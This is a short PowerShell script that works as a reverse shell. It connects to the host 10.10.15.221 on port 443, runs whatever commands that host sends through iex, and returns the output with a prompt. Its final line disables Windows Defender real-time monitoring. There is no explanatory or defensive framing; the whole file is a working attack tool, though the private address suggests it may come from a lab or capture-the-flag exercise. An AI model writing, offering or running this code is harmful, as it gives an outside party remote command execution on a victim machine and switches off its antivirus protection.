try {
$client = New-Object System.Net.Sockets.TCPClient('10.10.15.221',443)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535 | % {0}
while (($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
try {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
$sendback = (iex $data 2>&1 | Out-String)
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte, 0, $sendbyte.Length)
$stream.Flush()
} catch {
# Handle any errors that occur during command execution
$errorMsg = $_.Exception.Message
$errorBytes = ([text.encoding]::ASCII).GetBytes('Error: ' + $errorMsg + 'PS ' + (pwd).Path + '> ')
$stream.Write($errorBytes, 0, $errorBytes.Length)
$stream.Flush()
}
}
} catch {
# Handle any errors that occur during the connection setup
Write-Host "Error: $($_.Exception.Message)"
} finally {
$client.Close()
}
Set-MpPreference -DisableRealtimeMonitoring $true